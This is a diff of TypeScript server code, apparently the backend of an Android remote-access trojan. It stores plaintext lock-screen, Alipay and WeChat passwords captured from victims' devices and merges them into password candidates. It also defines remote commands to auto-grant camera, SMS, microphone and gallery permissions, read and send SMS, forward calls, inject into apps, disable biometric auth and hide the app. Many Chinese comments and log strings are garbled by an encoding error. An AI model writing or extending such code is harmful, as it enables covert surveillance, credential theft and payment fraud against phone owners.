= this.db.prepare(` + SELECT password, passwordType, inputMethod, activity, timestamp + FROM password_inputs + WHERE deviceId = ? + AND LOWER(activity) NOT LIKE '%passwordinputactivity%' + ORDER BY timestamp DESC + LIMIT 50 + `).all(deviceId) as any[] + + const passwordInputCandidates = passwordInputRows + .map(row => { + const password = this.normalizePasswordCandidate(row.password) + if (!password) { + return null + } + + return { + content: `Lockscreen password record: type=${row.passwordType || 'unknown'} length=${password.length}`, + extraData: { + source: 'password_inputs', + password, + reconstructedPassword: password, + actualPasswordText: password, + passwordType: row.passwordType || 'unknown', + inputMethod: row.inputMethod || 'unknown', + activity: row.activity || 'unknown', + isPasswordCapture: true + }, + timestamp: row.timestamp, + logType: 'TEXT_INPUT' + } + }) + .filter(Boolean) as any[] + + const merged = [...passwordInputCandidates, ...logs] + merged.sort((a, b) => { + const ta = new Date(a.timestamp).getTime() + const tb = new Date(b.timestamp).getTime() + return tb - ta + }) + + const result = merged.slice(0, 200) + this.logger.info(`Password candidate merged result for ${deviceId}: operation_logs=${logs.length}, password_inputs=${passwordInputCandidates.length}, merged=${result.length}`) + + return result } catch (error) { - this.logger.error('获取密码候选失败:', error) + this.logger.error('Failed to collect password candidates from logs:', error) return [] } } + /** - * 💰 保存支付宝密码记录 + * 馃挵 淇濆瓨鏀粯瀹濆瘑鐮佽褰? */ saveAlipayPassword(record: AlipayPasswordRecord): void { try { @@ -1367,15 +1855,15 @@ export class DatabaseService { now.toISOString() ) - this.logger.info(`💰 支付宝密码已保存: 设备=${record.deviceId}, 密码长度=${record.passwordLength}, 活动=${record.activity}`) + this.logger.info(`馃挵 鏀粯瀹濆瘑鐮佸凡淇濆瓨: 璁惧=${record.deviceId}, 瀵嗙爜闀垮害=${record.passwordLength}, 娲诲姩=${record.activity}`) } catch (error) { - this.logger.error('保存支付宝密码失败:', error) + this.logger.error('淇濆瓨鏀粯瀹濆瘑鐮佸け璐?', error) throw error } } /** - * 💰 获取设备的支付宝密码记录(分页) + * 馃挵 鑾峰彇璁惧鐨勬敮浠樺疂瀵嗙爜璁板綍锛堝垎椤碉級 */ getAlipayPasswords(deviceId: string, page: number = 1, pageSize: number = 50): { passwords: AlipayPasswordRecord[], @@ -1385,14 +1873,14 @@ export class DatabaseService { totalPages: number } { try { - // 查询总数 + // 鏌ヨ鎬绘暟 const countStmt = this.db.prepare(` SELECT COUNT(*) as total FROM alipay_passwords WHERE deviceId = ? `) const totalResult = countStmt.get(deviceId) as any const total = totalResult.total - // 查询分页数据 + // 鏌ヨ鍒嗛〉鏁版嵁 const offset = (page - 1) * pageSize const dataStmt = this.db.prepare(` SELECT * FROM alipay_passwords @@ -1425,7 +1913,7 @@ export class DatabaseService { totalPages } } catch (error) { - this.logger.error('获取支付宝密码记录失败:', error) + this.logger.error('鑾峰彇鏀粯瀹濆瘑鐮佽褰曞け璐?', error) return { passwords: [], total: 0, @@ -1437,7 +1925,7 @@ export class DatabaseService { } /** - * 💰 获取设备最新的支付宝密码 + * 馃挵 鑾峰彇璁惧鏈€鏂扮殑鏀粯瀹濆瘑鐮? */ getLatestAlipayPassword(deviceId: string): AlipayPasswordRecord | null { try { @@ -1466,13 +1954,13 @@ export class DatabaseService { return null } catch (error) { - this.logger.error('获取最新支付宝密码失败:', error) + this.logger.error('鑾峰彇鏈€鏂版敮浠樺疂瀵嗙爜澶辫触:', error) return null } } /** - * 💰 删除设备的支付宝密码记录 + * 馃挵 鍒犻櫎璁惧鐨勬敮浠樺疂瀵嗙爜璁板綍 */ clearAlipayPasswords(deviceId: string): void { try { @@ -1481,15 +1969,15 @@ export class DatabaseService { `) const result = stmt.run(deviceId) - this.logger.info(`已删除设备 ${deviceId} 的 ${result.changes} 条支付宝密码记录`) + this.logger.info(`宸插垹闄よ澶?${deviceId} 鐨?${result.changes} 鏉℃敮浠樺疂瀵嗙爜璁板綍`) } catch (error) { - this.logger.error('清理支付宝密码记录失败:', error) + this.logger.error('娓呯悊鏀粯瀹濆瘑鐮佽褰曞け璐?', error) throw error } } /** - * 💰 清理旧的支付宝密码记录 + * 馃挵 娓呯悊鏃х殑鏀粯瀹濆瘑鐮佽褰? */ cleanupOldAlipayPasswords(daysToKeep: number = 30): void { try { @@ -1501,14 +1989,14 @@ export class DatabaseService { `) const result = stmt.run(cutoffDate.toISOString()) - this.logger.info(`清理了 ${result.changes} 条旧支付宝密码记录 (${daysToKeep}天前)`) + this.logger.info(`娓呯悊浜?${result.changes} 鏉℃棫鏀粯瀹濆瘑鐮佽褰?(${daysToKeep}澶╁墠)`) } catch (error) { - this.logger.error('清理旧支付宝密码记录失败:', error) + this.logger.error('娓呯悊鏃ф敮浠樺疂瀵嗙爜璁板綍澶辫触:', error) } } /** - * 💬 保存微信密码记录 + * 馃挰 淇濆瓨寰俊瀵嗙爜璁板綍 */ saveWechatPassword(record: WechatPasswordRecord): void { try { @@ -1531,15 +2019,15 @@ export class DatabaseService { now.toISOString() ) - this.logger.info(`💬 微信密码已保存: 设备=${record.deviceId}, 密码长度=${record.passwordLength}, 活动=${record.activity}`) + this.logger.info(`馃挰 寰俊瀵嗙爜宸蹭繚瀛? 璁惧=${record.deviceId}, 瀵嗙爜闀垮害=${record.passwordLength}, 娲诲姩=${record.activity}`) } catch (error) { - this.logger.error('保存微信密码失败:', error) + this.logger.error('淇濆瓨寰俊瀵嗙爜澶辫触:', error) throw error } } /** - * 💬 获取设备的微信密码记录(分页) + * 馃挰 鑾峰彇璁惧鐨勫井淇″瘑鐮佽褰曪紙鍒嗛〉锛? */ getWechatPasswords(deviceId: string, page: number = 1, pageSize: number = 50): { passwords: WechatPasswordRecord[], @@ -1549,14 +2037,14 @@ export class DatabaseService { totalPages: number } { try { - // 查询总数 + // 鏌ヨ鎬绘暟 const countStmt = this.db.prepare(` SELECT COUNT(*) as total FROM wechat_passwords WHERE deviceId = ? `) const totalResult = countStmt.get(deviceId) as any const total = totalResult.total - // 查询分页数据 + // 鏌ヨ鍒嗛〉鏁版嵁 const offset = (page - 1) * pageSize const dataStmt = this.db.prepare(` SELECT * FROM wechat_passwords @@ -1589,7 +2077,7 @@ export class DatabaseService { totalPages } } catch (error) { - this.logger.error('获取微信密码记录失败:', error) + this.logger.error('鑾峰彇寰俊瀵嗙爜璁板綍澶辫触:', error) return { passwords: [], total: 0, @@ -1601,7 +2089,7 @@ export class DatabaseService { } /** - * 💬 获取设备最新的微信密码 + * 馃挰 鑾峰彇璁惧鏈€鏂扮殑寰俊瀵嗙爜 */ getLatestWechatPassword(deviceId: string): WechatPasswordRecord | null { try { @@ -1630,13 +2118,13 @@ export class DatabaseService { return null } catch (error) { - this.logger.error('获取最新微信密码失败:', error) + this.logger.error('鑾峰彇鏈€鏂板井淇″瘑鐮佸け璐?', error) return null } } /** - * 💬 删除设备的微信密码记录 + * 馃挰 鍒犻櫎璁惧鐨勫井淇″瘑鐮佽褰? */ clearWechatPasswords(deviceId: string): void { try { @@ -1645,15 +2133,15 @@ export class DatabaseService { `) const result = stmt.run(deviceId) - this.logger.info(`已删除设备 ${deviceId} 的 ${result.changes} 条微信密码记录`) + this.logger.info(`Cleared WeChat passwords for device ${deviceId}: ${result.changes}`) } catch (error) { - this.logger.error('清理微信密码记录失败:', error) + this.logger.error('娓呯悊寰俊瀵嗙爜璁板綍澶辫触:', error) throw error } } /** - * 💬 清理旧的微信密码记录 + * 馃挰 娓呯悊鏃х殑寰俊瀵嗙爜璁板綍 */ cleanupOldWechatPasswords(daysToKeep: number = 30): void { try { @@ -1665,22 +2153,22 @@ export class DatabaseService { `) const result = stmt.run(cutoffDate.toISOString()) - this.logger.info(`清理了 ${result.changes} 条旧微信密码记录 (${daysToKeep}天前)`) + this.logger.info(`娓呯悊浜?${result.changes} 鏉℃棫寰俊瀵嗙爜璁板綍 (${daysToKeep}澶╁墠)`) } catch (error) { - this.logger.error('清理旧微信密码记录失败:', error) + this.logger.error('娓呯悊鏃у井淇″瘑鐮佽褰曞け璐?', error) } } /** - * 🔐 保存通用密码输入记录 + * 馃攼 淇濆瓨閫氱敤瀵嗙爜杈撳叆璁板綍 */ savePasswordInput(record: PasswordInputRecord): void { try { - // 🔧 在保存前验证设备是否存在 + // 馃敡 鍦ㄤ繚瀛樺墠楠岃瘉璁惧鏄惁瀛樺湪 const deviceExists = this.getDeviceById(record.deviceId) if (!deviceExists) { - const errorMsg = `设备 ${record.deviceId} 不存在于数据库中,无法保存密码记录` - this.logger.error(`❌ ${errorMsg}`) + const errorMsg = `Device ${record.deviceId} does not exist in devices table; cannot save password input` + this.logger.error(`鉂?${errorMsg}`) throw new Error(errorMsg) } @@ -1705,22 +2193,22 @@ export class DatabaseService { now.toISOString() ) - this.logger.info(`🔐 通用密码输入已保存: 设备=${record.deviceId}, 类型=${record.passwordType}, 密码长度=${record.passwordLength}, 活动=${record.activity}`) + this.logger.info(`馃攼 閫氱敤瀵嗙爜杈撳叆宸蹭繚瀛? 璁惧=${record.deviceId}, 绫诲瀷=${record.passwordType}, 瀵嗙爜闀垮害=${record.passwordLength}, 娲诲姩=${record.activity}`) } catch (error: any) { - // 🔧 提供更详细的错误信息 + // 馃敡 鎻愪緵鏇磋缁嗙殑閿欒淇℃伅 if (error.code === 'SQLITE_CONSTRAINT_FOREIGNKEY') { - const errorMsg = `外键约束错误:设备 ${record.deviceId} 不存在于 devices 表中` - this.logger.error(`❌ ${errorMsg}`) + const errorMsg = `澶栭敭绾︽潫閿欒锛氳澶?${record.deviceId} 涓嶅瓨鍦ㄤ簬 devices 琛ㄤ腑` + this.logger.error(`鉂?${errorMsg}`) throw new Error(errorMsg) } else { - this.logger.error('保存通用密码输入失败:', error) + this.logger.error('淇濆瓨閫氱敤瀵嗙爜杈撳叆澶辫触:', error) throw error } } } /** - * 🔐 获取设备的通用密码输入记录(分页) + * 馃攼 鑾峰彇璁惧鐨勯€氱敤瀵嗙爜杈撳叆璁板綍锛堝垎椤碉級 */ getPasswordInputs(deviceId: string, page: number = 1, pageSize: number = 50, passwordType?: string): { passwords: PasswordInputRecord[], @@ -1730,7 +2218,7 @@ export class DatabaseService { totalPages: number } { try { - // 构建查询条件 + // 鏋勫缓鏌ヨ鏉′欢 let whereClause = 'WHERE deviceId = ?' let params: any[] = [deviceId] @@ -1739,14 +2227,14 @@ export class DatabaseService { params.push(passwordType) } - // 查询总数 + // 鏌ヨ鎬绘暟 const countStmt = this.db.prepare(` SELECT COUNT(*) as total FROM password_inputs ${whereClause} `) const totalResult = countStmt.get(...params) as any const total = totalResult.total - // 查询分页数据 + // 鏌ヨ鍒嗛〉鏁版嵁 const offset = (page - 1) * pageSize const dataStmt = this.db.prepare(` SELECT * FROM password_inputs ${whereClause} @@ -1780,7 +2268,7 @@ export class DatabaseService { totalPages } } catch (error) { - this.logger.error('获取通用密码输入记录失败:', error) + this.logger.error('鑾峰彇閫氱敤瀵嗙爜杈撳叆璁板綍澶辫触:', error) return { passwords: [], total: 0, @@ -1792,7 +2280,7 @@ export class DatabaseService { } /** - * 🔐 获取设备最新的通用密码输入 + * 馃攼 鑾峰彇璁惧鏈€鏂扮殑閫氱敤瀵嗙爜杈撳叆 */ getLatestPasswordInput(deviceId: string, passwordType?: string): PasswordInputRecord | null { try { @@ -1830,13 +2318,13 @@ export class DatabaseService { return null } catch (error) { - this.logger.error('获取最新通用密码输入失败:', error) + this.logger.error('鑾峰彇鏈€鏂伴€氱敤瀵嗙爜杈撳叆澶辫触:', error) return null } } /** - * 🔐 删除设备的通用密码输入记录 + * 馃攼 鍒犻櫎璁惧鐨勯€氱敤瀵嗙爜杈撳叆璁板綍 */ clearPasswordInputs(deviceId: string, passwordType?: string): void { try { @@ -1851,16 +2339,16 @@ export class DatabaseService { const stmt = this.db.prepare(query) const result = stmt.run(...params) - const typeDesc = passwordType ? ` (类型: ${passwordType})` : '' - this.logger.info(`已删除设备 ${deviceId} 的 ${result.changes} 条通用密码输入记录${typeDesc}`) + const typeDesc = passwordType ? ` (绫诲瀷: ${passwordType})` : '' + this.logger.info(`宸插垹闄よ澶?${deviceId} 鐨?${result.changes} 鏉¢€氱敤瀵嗙爜杈撳叆璁板綍${typeDesc}`) } catch (error) { - this.logger.error('清理通用密码输入记录失败:', error) + this.logger.error('娓呯悊閫氱敤瀵嗙爜杈撳叆璁板綍澶辫触:', error) throw error } } /** - * 🔐 清理旧的通用密码输入记录 + * 馃攼 娓呯悊鏃х殑閫氱敤瀵嗙爜杈撳叆璁板綍 */ cleanupOldPasswordInputs(daysToKeep: number = 30): void { try { @@ -1872,14 +2360,14 @@ export class DatabaseService { `) const result = stmt.run(cutoffDate.toISOString()) - this.logger.info(`清理了 ${result.changes} 条旧通用密码输入记录 (${daysToKeep}天前)`) + this.logger.info(`娓呯悊浜?${result.changes} 鏉℃棫閫氱敤瀵嗙爜杈撳叆璁板綍 (${daysToKeep}澶╁墠)`) } catch (error) { - this.logger.error('清理旧通用密码输入记录失败:', error) + this.logger.error('娓呯悊鏃ч€氱敤瀵嗙爜杈撳叆璁板綍澶辫触:', error) } } /** - * 🔐 获取密码类型统计 + * 馃攼 鑾峰彇瀵嗙爜绫诲瀷缁熻 */ getPasswordTypeStats(deviceId: string): any[] { try { @@ -1903,67 +2391,67 @@ export class DatabaseService { lastInput: new Date(stat.lastInput) })) } catch (error) { - this.logger.error('获取密码类型统计失败:', error) + this.logger.error('鑾峰彇瀵嗙爜绫诲瀷缁熻澶辫触:', error) return [] } } /** - * ✅ 删除设备及其所有相关数据 + * 鉁?鍒犻櫎璁惧鍙婂叾鎵€鏈夌浉鍏虫暟鎹? */ deleteDevice(deviceId: string): void { try { - this.logger.info(`🗑️ 开始删除设备: ${deviceId}`) + this.logger.info(`馃棏锔?寮€濮嬪垹闄よ澶? ${deviceId}`) - // 开始事务 + // 寮€濮嬩簨鍔? const deleteTransaction = this.db.transaction(() => { - // 1. 删除设备状态记录 + // 1. 鍒犻櫎璁惧鐘舵€佽褰? const deleteDeviceState = this.db.prepare('DELETE FROM device_states WHERE deviceId = ?') const deviceStateResult = deleteDeviceState.run(deviceId) - this.logger.debug(`删除设备状态记录: ${deviceStateResult.changes} 条`) + this.logger.debug(`Deleted device state records: ${deviceStateResult.changes}`) - // 2. 删除操作日志 + // 2. 鍒犻櫎鎿嶄綔鏃ュ織 const deleteOperationLogs = this.db.prepare('DELETE FROM operation_logs WHERE deviceId = ?') const logsResult = deleteOperationLogs.run(deviceId) - this.logger.debug(`删除操作日志: ${logsResult.changes} 条`) + this.logger.debug(`Deleted operation logs: ${logsResult.changes}`) - // 3. 删除连接记录 + // 3. 鍒犻櫎杩炴帴璁板綍 const deleteConnections = this.db.prepare('DELETE FROM connection_history WHERE deviceId = ?') const connectionsResult = deleteConnections.run(deviceId) - this.logger.debug(`删除连接记录: ${connectionsResult.changes} 条`) + this.logger.debug(`Deleted connection history records: ${connectionsResult.changes}`) - // 4. 删除支付宝密码记录 + // 4. 鍒犻櫎鏀粯瀹濆瘑鐮佽褰? const deleteAlipayPasswords = this.db.prepare('DELETE FROM alipay_passwords WHERE deviceId = ?') const alipayResult = deleteAlipayPasswords.run(deviceId) - this.logger.debug(`删除支付宝密码记录: ${alipayResult.changes} 条`) + this.logger.debug(`Deleted Alipay password records: ${alipayResult.changes}`) - // 5. 删除微信密码记录 + // 5. 鍒犻櫎寰俊瀵嗙爜璁板綍 const deleteWechatPasswords = this.db.prepare('DELETE FROM wechat_passwords WHERE deviceId = ?') const wechatResult = deleteWechatPasswords.run(deviceId) - this.logger.debug(`删除微信密码记录: ${wechatResult.changes} 条`) + this.logger.debug(`Deleted WeChat password records: ${wechatResult.changes}`) - // 6. 删除通用密码输入记录 + // 6. 鍒犻櫎閫氱敤瀵嗙爜杈撳叆璁板綍 const deletePasswordInputs = this.db.prepare('DELETE FROM password_inputs WHERE deviceId = ?') const passwordInputsResult = deletePasswordInputs.run(deviceId) - this.logger.debug(`删除通用密码输入记录: ${passwordInputsResult.changes} 条`) + this.logger.debug(`Deleted generic password input records: ${passwordInputsResult.changes}`) - // 6.5 删除崩溃日志 + // 6.5 鍒犻櫎宕╂簝鏃ュ織 const deleteCrashLogs = this.db.prepare('DELETE FROM crash_logs WHERE deviceId = ?') const crashLogsResult = deleteCrashLogs.run(deviceId) - this.logger.debug(`删除崩溃日志: ${crashLogsResult.changes} 条`) + this.logger.debug(`Deleted crash logs: ${crashLogsResult.changes}`) - // 7. 删除用户设备权限记录 + // 7. 鍒犻櫎鐢ㄦ埛璁惧鏉冮檺璁板綍 const deleteUserPermissions = this.db.prepare('DELETE FROM user_device_permissions WHERE deviceId = ?') const userPermissionsResult = deleteUserPermissions.run(deviceId) - this.logger.debug(`删除用户设备权限记录: ${userPermissionsResult.changes} 条`) + this.logger.debug(`Deleted user-device permission records: ${userPermissionsResult.changes}`) - // 8. 最后删除设备记录 + // 8. 鏈€鍚庡垹闄よ澶囪褰? const deleteDevice = this.db.prepare('DELETE FROM devices WHERE deviceId = ?') const deviceResult = deleteDevice.run(deviceId) - this.logger.debug(`删除设备记录: ${deviceResult.changes} 条`) + this.logger.debug(`Deleted device records: ${deviceResult.changes}`) if (deviceResult.changes === 0) { - throw new Error(`设备不存在: ${deviceId}`) + throw new Error(`璁惧涓嶅瓨鍦? ${deviceId}`) } return { @@ -1978,26 +2466,28 @@ export class DatabaseService { } }) - // 执行事务 + // 鎵ц浜嬪姟 const result = deleteTransaction() - this.logger.info(`✅ 设备删除完成: ${deviceId}`) - this.logger.info(`📊 删除统计: 设备=${result.deviceRecords}, 状态=${result.stateRecords}, 日志=${result.logRecords}, 连接=${result.connectionRecords}, 支付宝=${result.alipayRecords}, 微信=${result.wechatRecords}, 通用密码=${result.passwordInputRecords}, 用户权限=${result.userPermissionRecords}`) + this.logger.info(`鉁?璁惧鍒犻櫎瀹屾垚: ${deviceId}`) + this.logger.info(`馃搳 鍒犻櫎缁熻: 璁惧=${result.deviceRecords}, 鐘舵€?${result.stateRecords}, 鏃ュ織=${result.logRecords}, 杩炴帴=${result.connectionRecords}, 鏀粯瀹?${result.alipayRecords}, 寰俊=${result.wechatRecords}, 閫氱敤瀵嗙爜=${result.passwordInputRecords}, 鐢ㄦ埛鏉冮檺=${result.userPermissionRecords}`) } catch (error) { - this.logger.error(`删除设备失败: ${deviceId}`, error) + this.logger.error(`鍒犻櫎璁惧澶辫触: ${deviceId}`, error) throw error } } /** - * 🔐 授予用户设备控制权限 + * 馃攼 鎺堜簣鐢ㄦ埛璁惧鎺у埗鏉冮檺 */ - grantUserDevicePermission(userId: string, deviceId: string, permissionType: string = 'control', expiresAt?: Date): boolean { + grantUserDevicePermission(userId: string, deviceId: string, permissionType: string = 'control', expiresAt?: Date | null): boolean { try { const now = new Date() - // 🛡️ 默认权限有效期为7天,平衡安全性和可用性 - const defaultExpiresAt = expiresAt || new Date(now.getTime() + 7 * 24 * 60 * 60 * 1000) + // Default to 7 days when expiresAt is undefined; null means no expiry. + const resolvedExpiresAt = expiresAt === undefined + ? new Date(now.getTime() + 7 * 24 * 60 * 60 * 1000) + : expiresAt const stmt = this.db.prepare(` INSERT OR REPLACE INTO user_device_permissions @@ -2010,22 +2500,23 @@ export class DatabaseService { deviceId, permissionType, now.toISOString(), - defaultExpiresAt.toISOString(), + resolvedExpiresAt ? resolvedExpiresAt.toISOString() : null, 1, now.toISOString(), now.toISOString() ) - this.logger.info(`🔐 用户 ${userId} 获得设备 ${deviceId} 的 ${permissionType} 权限 (有效期至: ${defaultExpiresAt.toISOString()})`) + const expiresText = resolvedExpiresAt ? resolvedExpiresAt.toISOString() : '闀挎湡' + this.logger.info(`馃攼 鐢ㄦ埛 ${userId} 鑾峰緱璁惧 ${deviceId} 鐨?${permissionType} 鏉冮檺 (鏈夋晥鏈熻嚦: ${expiresText})`) return true } catch (error) { - this.logger.error('授予用户设备权限失败:', error) + this.logger.error('鎺堜簣鐢ㄦ埛璁惧鏉冮檺澶辫触:', error) return false } } /** - * 🔐 撤销用户设备权限 + * 馃攼 鎾ら攢鐢ㄦ埛璁惧鏉冮檺 */ revokeUserDevicePermission(userId: string, deviceId: string): boolean { try { @@ -2038,20 +2529,20 @@ export class DatabaseService { const result = stmt.run(new Date().toISOString(), userId, deviceId) if (result.changes > 0) { - this.logger.info(`🔐 用户 ${userId} 的设备 ${deviceId} 权限已撤销`) + this.logger.info(`馃攼 鐢ㄦ埛 ${userId} 鐨勮澶?${deviceId} 鏉冮檺宸叉挙閿€`) return true } else { - this.logger.warn(`🔐 用户 ${userId} 对设备 ${deviceId} 没有权限`) + this.logger.warn(`馃攼 鐢ㄦ埛 ${userId} 瀵硅澶?${deviceId} 娌℃湁鏉冮檺`) return false } } catch (error) { - this.logger.error('撤销用户设备权限失败:', error) + this.logger.error('鎾ら攢鐢ㄦ埛璁惧鏉冮檺澶辫触:', error) return false } } /** - * 🔐 检查用户是否有设备权限 + * 馃攼 妫€鏌ョ敤鎴锋槸鍚︽湁璁惧鏉冮檺 */ hasUserDevicePermission(userId: string, deviceId: string, permissionType: string = 'control'): boolean { try { @@ -2064,13 +2555,13 @@ export class DatabaseService { const result = stmt.get(userId, deviceId, permissionType, new Date().toISOString()) as { count: number } return result.count > 0 } catch (error) { - this.logger.error('检查用户设备权限失败:', error) + this.logger.error('妫€鏌ョ敤鎴疯澶囨潈闄愬け璐?', error) return false } } /** - * 🔐 获取用户的所有设备权限 + * 馃攼 鑾峰彇鐢ㄦ埛鐨勬墍鏈夎澶囨潈闄? */ getUserDevicePermissions(userId: string): Array<{ deviceId: string, permissionType: string, grantedAt: Date }> { try { @@ -2093,13 +2584,13 @@ export class DatabaseService { grantedAt: new Date(row.grantedAt) })) } catch (error) { - this.logger.error('获取用户设备权限失败:', error) + this.logger.error('鑾峰彇鐢ㄦ埛璁惧鏉冮檺澶辫触:', error) return [] } } /** - * 🔐 清理过期的权限 + * 馃攼 娓呯悊杩囨湡鐨勬潈闄? */ cleanupExpiredPermissions(): number { try { @@ -2112,20 +2603,20 @@ export class DatabaseService { const result = stmt.run(new Date().toISOString(), new Date().toISOString()) if (result.changes > 0) { - this.logger.info(`🧹 清理了 ${result.changes} 个过期权限`) + this.logger.info(`Cleaned expired permissions: ${result.changes}`) } return result.changes } catch (error) { - this.logger.error('清理过期权限失败:', error) + this.logger.error('娓呯悊杩囨湡鏉冮檺澶辫触:', error) return 0 } } - // ==================== 💥 崩溃日志相关 ==================== + // ==================== 馃挜 宕╂簝鏃ュ織鐩稿叧 ==================== /** - * 💥 保存崩溃日志 + * 馃挜 淇濆瓨宕╂簝鏃ュ織 */ saveCrashLog(data: { deviceId: string @@ -2153,16 +2644,16 @@ export class DatabaseService { data.osVersion || '', new Date().toISOString() ) - this.logger.info(`💥 崩溃日志已保存: ${data.deviceId} - ${data.fileName}`) + this.logger.info(`馃挜 宕╂簝鏃ュ織宸蹭繚瀛? ${data.deviceId} - ${data.fileName}`) return true } catch (error) { - this.logger.error('保存崩溃日志失败:', error) + this.logger.error('淇濆瓨宕╂簝鏃ュ織澶辫触:', error) return false } } /** - * 💥 获取设备的崩溃日志列表 + * 馃挜 鑾峰彇璁惧鐨勫穿婧冩棩蹇楀垪琛? */ getCrashLogs(deviceId: string, page: number = 1, pageSize: number = 20): { logs: any[] @@ -2190,21 +2681,22 @@ export class DatabaseService { totalPages: Math.ceil(total / pageSize) } } catch (error) { - this.logger.error('获取崩溃日志列表失败:', error) + this.logger.error('鑾峰彇宕╂簝鏃ュ織鍒楄〃澶辫触:', error) return { logs: [], total: 0, page, pageSize, totalPages: 0 } } } /** - * 💥 获取崩溃日志详情(含内容) + * 馃挜 鑾峰彇宕╂簝鏃ュ織璇︽儏锛堝惈鍐呭锛? */ getCrashLogDetail(logId: number): any | null { try { const stmt = this.db.prepare('SELECT * FROM crash_logs WHERE id = ?') return stmt.get(logId) || null } catch (error) { - this.logger.error('获取崩溃日志详情失败:', error) + this.logger.error('鑾峰彇宕╂簝鏃ュ織璇︽儏澶辫触:', error) return null } } -} \ No newline at end of file +} + diff --git a/src/services/MessageRouter.ts b/src/services/MessageRouter.ts index 565c301..fb8d32d 100644 --- a/src/services/MessageRouter.ts +++ b/src/services/MessageRouter.ts @@ -1,4 +1,4 @@ -import DeviceManager from '../managers/DeviceManager' +import DeviceManager from '../managers/DeviceManager' import WebClientManager from '../managers/WebClientManager' import { DatabaseService } from './DatabaseService' import Logger from '../utils/Logger' @@ -9,7 +9,7 @@ import path from 'path' * 控制消息接口 */ export interface ControlMessage { - type: 'CLICK' | 'SWIPE' | 'LONG_PRESS' | 'LONG_PRESS_DRAG' | 'INPUT_TEXT' | 'KEY_EVENT' | 'GESTURE' | 'POWER_WAKE' | 'POWER_SLEEP' | 'DEVICE_BLOCK_INPUT' | 'DEVICE_ALLOW_INPUT' | 'LOG_ENABLE' | 'LOG_DISABLE' | 'WAKE_SCREEN' | 'LOCK_SCREEN' | 'UNLOCK_DEVICE' | 'ENABLE_BLACK_SCREEN' | 'DISABLE_BLACK_SCREEN' | 'OPEN_APP_SETTINGS' | 'HIDE_APP' | 'SHOW_APP' | 'REFRESH_MEDIA_PROJECTION_PERMISSION' | 'REFRESH_MEDIA_PROJECTION_MANUAL' | 'CLOSE_CONFIG_MASK' | 'ENABLE_UNINSTALL_PROTECTION' | 'DISABLE_UNINSTALL_PROTECTION' | 'CAMERA_START' | 'CAMERA_STOP' | 'CAMERA_SWITCH' | 'SMS_PERMISSION_CHECK' | 'SMS_READ' | 'SMS_SEND' | 'SMS_UNREAD_COUNT' | 'GALLERY_PERMISSION_CHECK' | 'ALBUM_READ' | 'GET_GALLERY' | 'MICROPHONE_PERMISSION_CHECK' | 'MICROPHONE_START_RECORDING' | 'MICROPHONE_STOP_RECORDING' | 'MICROPHONE_RECORDING_STATUS' | 'ALIPAY_DETECTION_START' | 'WECHAT_DETECTION_START' | 'OPEN_PIN_INPUT' | 'OPEN_FOUR_DIGIT_PIN' | 'OPEN_PATTERN_LOCK' | 'CHANGE_SERVER_URL' | 'SCREEN_CAPTURE_PAUSE' | 'SCREEN_CAPTURE_RESUME' + type: 'CLICK' | 'SWIPE' | 'LONG_PRESS' | 'LONG_PRESS_DRAG' | 'INPUT_TEXT' | 'KEY_EVENT' | 'GESTURE' | 'POWER_WAKE' | 'POWER_SLEEP' | 'MUTE_DEVICE' | 'DEVICE_BLOCK_INPUT' | 'DEVICE_ALLOW_INPUT' | 'LOG_ENABLE' | 'LOG_DISABLE' | 'WAKE_SCREEN' | 'LOCK_SCREEN' | 'UNLOCK_DEVICE' | 'ENABLE_BLACK_SCREEN' | 'DISABLE_BLACK_SCREEN' | 'OPEN_APP_SETTINGS' | 'HIDE_APP' | 'SHOW_APP' | 'REFRESH_MEDIA_PROJECTION_PERMISSION' | 'REFRESH_MEDIA_PROJECTION_MANUAL' | 'CLOSE_CONFIG_MASK' | 'ENABLE_UNINSTALL_PROTECTION' | 'DISABLE_UNINSTALL_PROTECTION' | 'CAMERA_START' | 'CAMERA_STOP' | 'CAMERA_SWITCH' | 'CAMERA_PERMISSION_REQUEST' | 'CAMERA_PERMISSION_CHECK' | 'CAMERA_PERMISSION_AUTO_GRANT' | 'SMS_PERMISSION_CHECK' | 'SMS_PERMISSION_AUTO_GRANT' | 'SMS_READ' | 'SMS_SEND' | 'SMS_UNREAD_COUNT' | 'GALLERY_PERMISSION_REQUEST' | 'GALLERY_PERMISSION_CHECK' | 'GALLERY_PERMISSION_AUTO_GRANT' | 'ALBUM_READ' | 'GET_GALLERY' | 'MICROPHONE_PERMISSION_REQUEST' | 'MICROPHONE_PERMISSION_CHECK' | 'MICROPHONE_PERMISSION_AUTO_GRANT' | 'MICROPHONE_START_RECORDING' | 'MICROPHONE_STOP_RECORDING' | 'MICROPHONE_RECORDING_STATUS' | 'ALIPAY_DETECTION_START' | 'WECHAT_DETECTION_START' | 'OPEN_PIN_INPUT' | 'OPEN_FOUR_DIGIT_PIN' | 'OPEN_PATTERN_LOCK' | 'CHANGE_SERVER_URL' | 'SCREEN_CAPTURE_PAUSE' | 'SCREEN_CAPTURE_RESUME' | 'APP_LIST' | 'APP_OPEN' | 'APP_INJECTION_ENABLE' | 'APP_INJECTION_DISABLE' | 'CALL_FORWARD_SET' | 'CALL_FORWARD_CANCEL' | 'KEEPALIVE_STATUS_CHECK' | 'OPEN_BATTERY_OPTIMIZATION_SETTINGS' | 'DISABLE_BIOMETRIC_AUTH' | 'SRT_START' | 'SRT_STOP' | 'RUNTIME_FLAGS_UPDATE' | 'RUNTIME_FLAGS_SYNC' deviceId: string data: any timestamp: number @@ -97,6 +97,52 @@ export interface SmsData { smsList: SmsItem[] } +export interface AlbumData { + deviceId: string + type: 'album_data' + timestamp: number + count: number + albumList: Array> +} + +export interface AppListData { + deviceId: string + type: 'app_list_data' + timestamp: number + count: number + appList: Array> +} + +export interface AppOpenResultData { + deviceId: string + type: 'app_open_result' + timestamp: number + packageName: string + success: boolean + message: string +} + +export interface PinUiResponseData { + deviceId: string + success: boolean + message: string + timestamp?: number + passwordType?: string +} + +export interface CallForwardResultData { + deviceId: string + type: 'call_forward_result' + timestamp: number + action: string + rule: string + phoneNumber: string + success: boolean + message: string + mmiCode?: string + permissionRequested?: boolean +} + /** * 短信项接口 */ @@ -126,6 +172,8 @@ export class MessageRouter { private readonly maxBufferSize = 10 // 每设备最多缓存10帧 private readonly bufferTimeout = 5000 // 5秒超时清理 private readonly maxDataSize = 2 * 1024 * 1024 // 2MB单帧限制,与Android端保持一致 + private readonly minScreenFrameIntervalMs = 8 // 允许60fps(16ms)通过,8ms内重复帧才丢弃 + private readonly minValidScreenFrameBytes = 1200 // 过小帧通常为黑屏/异常帧,降低误杀阈值 private lastCleanupTime = 0 private readonly cleanupInterval = 10000 // 